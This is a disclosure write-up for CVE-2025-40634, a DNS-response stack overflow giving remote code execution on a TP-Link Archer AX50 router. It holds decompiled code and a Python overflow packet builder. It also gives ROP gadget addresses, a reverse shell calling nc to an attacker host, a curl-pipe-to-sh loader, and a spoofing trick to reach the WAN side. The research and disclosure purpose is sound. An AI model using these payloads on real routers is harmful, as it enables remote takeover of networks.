# CVE-2025-40634

The TP-Link Archer AX50 router is vulnerable to a stack-based buffer overflow on its firmware version 1.0.14 Build 20240108 rel.42655(4555), leading to Remote Code Execution both in the LAN and in the WAN side. This vulnerability is the same as CVE-2020-10881, found by the Flashback team and largely detailed in their video series about it (check references). However, the exploitation process differs a bit, so a new exploit had to be written.

![](https://github.com/hacefresko/CVE-2025-40634/blob/main/images/exploit.gif?raw=true)

## Root cause

This vulnerability occurs in the `conn-indicator` binary, which is in charge of checking if the router is connected to the internet by periodically sending DNS queries and listening for their responses at a random UDP port between `32000` and `61000`.

The function that receives and first processes these DNS response packets is `TPDns_RecvAndResolve()`, located at `0x00405e3c`. When receiving a packet with `recvfrom`, it is stored in `buf`, which has a size of 2960 bytes. Then, it checks that the return code is correct (`RCODE == 0`) and checks the numbers of questions and answers in the packet(`QDCOUNT` and `ANCOUNT`). In order to process the answers, it calls `process_resolved_IP()` and passes it a pointer to `buf`, `answer_ptr`, which is a pointer to where the answers are located inside the packet in `buf`, the number of answers (`ANCOUNT`) and other flags:

```c
undefined4 * TPDns_RecvAndResolve(int socket,void *param_2,int param_3){
  
  [...]
  
  byte buf [2960];
  
  [...]
  
      while( true ) {
        recv_bytes = recvfrom(socket,buf + total_recv_bytes,0xb90 - total_recv_bytes,0,&sStack_50,
                              local_38);
        piVar2 = __errno_location();
        if (recv_bytes == 0) goto RECV_ERROR;
        if (recv_bytes < 0) break;
        total_recv_bytes = total_recv_bytes + recv_bytes;
        if (2959 < total_recv_bytes) goto PROCESS_DNS_RESP;
      }

  [...]

                    /* Check that ANCOUNT is not 0 (answer contains at least one domain) */
          puVar5 = (undefined4 *)0x0;
          if (buf._6_2_ != 0) {
            local_40 = 0;
            puVar5 = process_resolved_IP(buf,answer_ptr,(uint)buf._6_2_,&local_3c,&local_40);
            answer_ptr = answer_ptr + local_40;
          }

  [...]
```

Function `process_resolved_IP()`, located at `0x00405818`, traverses each answer and calls `DNS_answer_parser()` for each one of them. It passes as arguments the same pointer to `buf`, `answer`, which is a pointer to the current answer being parsed inside the original packet at `buf`, and a pointer to `current_answer`, which is a buffer of size 256: 

```c
undefined4 * process_resolved_IP(byte *buf,byte *answer_ptr,uint ANCOUNT,undefined4 *param_4,int *param_5){
  
  [...]
  
  byte current_answer [256];
  ushort answer_flags [5];
  
  i = 0;
  puVar9 = (undefined4 *)0x0;
  puVar7 = (undefined4 *)0x0;
  answer = answer_ptr;
  do {
                    /* Check if all answers have been parsed already */
    if (i == ANCOUNT) {
      if (param_4 != (undefined4 *)0x0) {
        *param_4 = puVar7;
      }
      if (param_5 != (int *)0x0) {
        *param_5 = (int)answer - (int)answer_ptr;
      }
      return puVar9;
    }
    bytes_processed = DNS_answer_parser(buf,answer,current_answer,1);
    memcpy(answer_flags,answer + bytes_processed,10);
    uVar1 = answer_flags._4_4_;
    bytes_processed = bytes_processed + 10;
    uVar6 = (uint)answer_flags[4];
    uVar8 = (uint)answer_flags[0];
    if (uVar8 == 2) {
LAB_00405924:
      DNS_answer_parser(buf,answer + bytes_processed,abStack_240,1);
    }
    else if (uVar8 < 3) {
      pbVar2 = answer + bytes_processed;
      if (uVar8 == 1) {
        sprintf((char *)abStack_240,"%u.%u.%u.%u",(uint)*pbVar2,(uint)pbVar2[1],(uint)pbVar2[2],
                (uint)pbVar2[3]);
      }
    }
    else {
      if (uVar8 == 5) goto LAB_00405924;
      if (uVar8 == 0x1c) {
        inet_ntop(10,answer,(char *)abStack_240,0xff);
      }
    }
    answer = answer + bytes_processed + uVar6;
  
  [...]

    i = i + 1;
  } while( true );
}
```

Function `DNS_answer_parser()`, located at `0x004054e0`, parses each answer individually, which consists of a domain name represented as `<len><domain><len><domain>...`. As an example, `example.com` would be represented as `7example3com`. The function loops through each pair of `<len><domain>` that constitute the domain name in the answer and checks that `<len>` is less than 63 (`domain_name & 0xc0 != 0`). Then, it calls `memcpy` and copies `<len>` bytes of `answer`, corresponding to `<domain>`, into `current_answer`. It repeats the process for the next pair of `<len><domain>` in the domain name.

```c
int DNS_answer_parser(byte *buf,byte *answer,byte *current_answer,int flag){
  int iVar1;
  uint __n;
  int iVar2;
  uint uVar3;
  ushort flag_and_offset;
  byte domain_name;
  
  iVar2 = 0;
  do {
    domain_name = *answer;
    __n = (uint)domain_name;
    iVar1 = 1;
    if (__n == 0) {
      *current_answer = 0;
LAB_004055b0:
      return iVar2 + iVar1;
    }
                    /* Check if compression mode is used */
    if ((domain_name & 0xc0) != 0) {
      flag_and_offset = CONCAT11(domain_name,answer[1]);
      DNS_answer_parser(buf,buf + (flag_and_offset & 0x3fff),current_answer,flag);
      iVar1 = 2;
      goto LAB_004055b0;
    }
    uVar3 = __n + 1;
    if (flag == 0) {
      *current_answer = '.';
      memcpy(current_answer + 1,answer + 1,__n);
      __n = uVar3;
    }
    else {
      memcpy(current_answer,answer + 1,__n);
    }
    answer = answer + uVar3;
    current_answer = current_answer + __n;
    iVar2 = iVar2 + uVar3;
    flag = 0;
  } while( true );
}
```

Since `current_answer` is only 256 bytes long, it is possible for an attacker to send a packet with an answer containing a domain name large enough to overflow the buffer.


## Exploitation

The exploitation process is very similar to the one explained by Flashback team for CVE-2020-10881 in their video series about it (see references), with some key differences:

1. Addresses are not the same
2. Code is not exactly the same, so offsets and the size of the stack in some moments was also not the same
3. While the first and the third ROP gadgets where the same (located in different addresses), the second one differs in the `move` instruction, since now the register that is moved to `$a2` as the `count` arg for `memcpy()` is `$s1` instead of `$s0`.
4. The `i` variable in `process_resolved_IP()` is loaded into `$s5` instead of `$s8`. Then, when compared to `$v1`, `$v1` is taken from `$sp+616`, which is very far from the overflowed buffer, so the stack had to be corrupted further from the answer and the command.
5. The file system is read-only except for `/tmp`, so all writes and reads must be done there. This makes it impossible for the reverse shell to be less than 62 chars, so in order to deploy it to the target, it must be served from a web server and a command to download and execute it must be sent to the target.

With this in mind, I will explain the whole process anyways.

The `conn-indicator` binary has NX enabled and ASLR in everything but itself:

```
root@Archer_AX50:/proc/6541# cat maps
00400000-0040f000 r-xp 00000000 1f:0a 1430       /usr/sbin/conn-indicator
0041e000-0041f000 rw-p 0000e000 1f:0a 1430       /usr/sbin/conn-indicator
0041f000-00433000 rw-p 00000000 00:00 0          [heap]
778c2000-778d8000 r-xp 00000000 1f:0a 4681       /lib/libm-0.9.33.2.so
778d8000-778e7000 ---p 00000000 00:00 0
778e7000-778e8000 rw-p 00015000 1f:0a 4681       /lib/libm-0.9.33.2.so
778e8000-778fa000 r-xp 00000000 1f:0a 2506       /usr/lib/libz.so.1.2.7
778fa000-7790a000 ---p 00000000 00:00 0
7790a000-7790b000 rw-p 00012000 1f:0a 2506       /usr/lib/libz.so.1.2.7
7790b000-77a2b000 r-xp 00000000 1f:0a 2509       /usr/lib/libxml2.so.2.7.8
77a2b000-77a3a000 ---p 00000000 00:00 0
77a3a000-77a40000 rw-p 0011f000 1f:0a 2509       /usr/lib/libxml2.so.2.7.8
77a40000-77a46000 r-xp 00000000 1f:0a 2496       /usr/lib/libjson.so.0.0.1
77a46000-77a55000 ---p 00000000 00:00 0
77a55000-77a56000 rw-p 00005000 1f:0a 2496       /usr/lib/libjson.so.0.0.1
77a56000-77aac000 r-xp 00000000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77aac000-77abb000 ---p 00000000 00:00 0
77abb000-77abc000 r--p 00055000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77abc000-77abd000 rw-p 00056000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77abd000-77ac2000 rw-p 00000000 00:00 0
77ac2000-77ad6000 r-xp 00000000 1f:0a 4872       /lib/libgcc_s.so.1
77ad6000-77ae5000 ---p 00000000 00:00 0
77ae5000-77ae6000 rw-p 00013000 1f:0a 4872       /lib/libgcc_s.so.1
77ae6000-77aef000 r-xp 00000000 1f:0a 4893       /lib/libuci.so
77aef000-77afe000 ---p 00000000 00:00 0
77afe000-77aff000 rw-p 00008000 1f:0a 4893       /lib/libuci.so
77aff000-77b01000 r-xp 00000000 1f:0a 4711       /lib/libblobmsg_json.so
77b01000-77b10000 ---p 00000000 00:00 0
77b10000-77b11000 rw-p 00001000 1f:0a 4711       /lib/libblobmsg_json.so
77b11000-77b15000 r-xp 00000000 1f:0a 4709       /lib/libubus.so
77b15000-77b24000 ---p 00000000 00:00 0
77b24000-77b25000 rw-p 00003000 1f:0a 4709       /lib/libubus.so
77b25000-77b2e000 r-xp 00000000 1f:0a 4714       /lib/libubox.so
77b2e000-77b3d000 ---p 00000000 00:00 0
77b3d000-77b3e000 rw-p 00008000 1f:0a 4714       /lib/libubox.so
77b3e000-77b41000 r-xp 00000000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b41000-77b50000 ---p 00000000 00:00 0
77b50000-77b51000 r--p 00002000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b51000-77b52000 rw-p 00003000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b52000-77b59000 r-xp 00000000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
77b65000-77b68000 rw-p 00000000 00:00 0
77b68000-77b69000 r--p 00006000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
77b69000-77b6a000 rw-p 00007000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
7fa04000-7fa25000 rw-p 00000000 00:00 0          [stack]
7ffff000-80000000 r-xp 00000000 00:00 0          [vdso]
root@Archer_AX50:/proc/6541# exploit
```

So the strategy to exploit this vulnerability is to build a ROP chain in which we can execute `system()` with the desired command.

In order to be able to overflow the buffer and corrupt the `$ra` register, an attacker needs to send a DNS response with an answer containing a large enough domain name. Regarding the DNS header, the only requirement is that `RCODE` is 0 and that `ANCOUNT` is 1, since the packet only needs to contain one answer. As an example, the following packet corrupts the `$ra` register with `0x50505050`:

```python
# len of each domain name must be less than 63
DOMAIN_LEN = 0x3f

TXID = [0, 0]
FLAGS = [0, 0]
QDCOUNT = [0, 0]
ANCOUNT = [0, 1]
NSCOUNT = [0, 0]
ARCOUNT = [0, 0]

# DNS response header
packet = []
packet += TXID
packet += FLAGS
packet += QDCOUNT
packet += ANCOUNT
packet += NSCOUNT
packet += ARCOUNT

# 4 domain names with length DOMAIN_LEN to fill up the buffer
for i in range (0,4):
    packet += [DOMAIN_LEN]
    for j in range(0, DOMAIN_LEN):
        packet += [0x41]

# Domain name to fill up remaining variables
packet += [0x17]
packet += [0x41] * 23

# Domain name to corrupt the stack
packet += [0x28]
packet += struct.pack(">I", 0x30303030) # s0
packet += struct.pack(">I", 0x31313131) # s1
packet += struct.pack(">I", 0x32323232) # s2
packet += struct.pack(">I", 0x33333333) # s3
packet += struct.pack(">I", 0x34343434) # s4
packet += struct.pack(">I", 0x35353535) # s5
packet += struct.pack(">I", 0x36363636) # s6
packet += struct.pack(">I", 0x37373737) # s7
packet += struct.pack(">I", 0x38383838) # s8
packet += struct.pack(">I", 0x50505050) # ra
packet += [0]
```

Now, since the address of the binary is always the same in every execution and it has a writeable area, the plan is to copy the command to be executed there and then call `system()` with it. To do so, the following ROP chain is used:

1.  This gadget prepares arguments for `memcpy()`. The address of the next gadget is loaded into `$ra`. Then, `$s2` is moved to `$v0`. This contains the address of the writeable area of the binary in which the command will be copied to, which will be the `dest` arg for `memcpy()`. Then, the `count` argument for `memcpy` is loaded into `$s1` from a stack address that we control. Finally, it jumps to the next gadget:

```
00402700  lw      ra, 0x2c(sp)
00402704  move    v0, s2
00402708  lw      s2, 0x28(sp)
0040270c  lw      s1, 0x24(sp)
00402710  lw      s0, 0x20(sp)
00402714  jr      ra
00402718  addiu   sp, sp, 0x30
```

2. This gadget continues preparing arguments for `memcpy()` and then calls it. The `dest` arg for `memcpy()`, corresponding to the writable area of the binary, which was in `$v0`, is loaded into `$a0` as the first param of `memcpy()`. At this point in the execution, `$a1` points to the end of the answer in the DNS response packet, which is where we have placed our command string, so there is no need to prepare the `src` parameter. Then, `$s1`, which contains the `count` parameter loaded in the previous gadget, is moved to `$a2` as the third parameter for `memcpy()`. Lastly, `memcpy()` is called and the command string is copied into the writable area of the binary. This gadget is located at the end of `process_resolved_IP()`, so now the execution continues inside it. The stack needs to be arranged now so the function can successfully return. To do so, some variables from this function which are loaded from the stack and from some registers are carefully placed in the payload, such as `ANCOUNT`, `param_4`, `param_5` and `i`. When returning, the address of the `$ra` is taken again from the stack, in which we place the address of the next gadget to jump there.

```
00405a98  move    a0, v0
00405a9c  jal     <EXTERNAL>:memcpy
00405aa0  _move   a2, s1

[...]
```

3. This gadget prepares the argument for `system()` and calls it. At this point in the execution, `$v0` contains the value of `$s3`, in which we have placed the address of the writable area in the binary, containing the command now. So, `$v0` is moved to `$a0`. Then, the address of `system()`, which is imported into the binary, is placed from the stack into `$ra` and `system()` is called, achieving code execution.

```
004065e8  move    a0, v0
004065ec  clear   v0
004065f0  lw      ra, 0x1c(sp)
004065f4  jr      ra
```

Now, the reverse shell to be executed in the target, which runs busybox, is the following one:

```bash
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker> <port> >/tmp/f
```

However, the command to be executed must be shorter than 62 characters and, since the file system is only writeable at `/tmp`, it was impossible to execute the reverse shell directly. Instead, a loader was executed: `curl http://<attacker>:<port>/ | sh`, which retrieves the reverse shell from the attacker.

Now, the only thing left is to bruteforce the port in which `conn-indicator` is listening, which can be easily automated.

Up to this point, this exploit would only work on the LAN side, since the WAN side is firewalled. However, there is a way to bypass this restriction. In order for `conn-indicator` to receive the DNS responses, the firewall allows packets that come from the same IP as the DNS queries sent by the binary, this is, packets that come from the DNS that the target router is using. Thus, to bypass the firewall, it's enough to send spoofed packets as the DNS server, which if the target is in a local network will probably be something like `192.168.0.1`, `192.168.1.1` or `10.0.0.1`, and if the target is directly connected to the Internet, will probably be something like `8.8.8.8`, `1.1.1.1` or other common DNS servers.

The fully functional exploit works both for LAN and WAN. LAN mode bruteforces every port from `32000` to `61000` and WAN mode bruteforces the same ports and all the possible DNS IPs, which are stored in the `SPOOF_LIST`. This list should be edited based in the knowledge of the attacker about the target, however, given enough time (minutes) it should cover 90% of cases.

## References

* ![TP-Link Archer AX50 official page](https://www.tp-link.com/us/home-networking/wifi-router/archer-ax50/)
* ![Flashback Team - DNS Remote Code Execution: Finding the Vulnerability 👾 (Part 1)](https://youtu.be/xWoQ-E8n4B0?si=r-gsA6ofdT9RyXHp)
* ![Flashback Team - DNS Remote Code Execution: Writing the Exploit 💣 (Part 2)](https://youtu.be/YCOoc1U7kPA?si=8Zw6ppBvCTjjloVB)
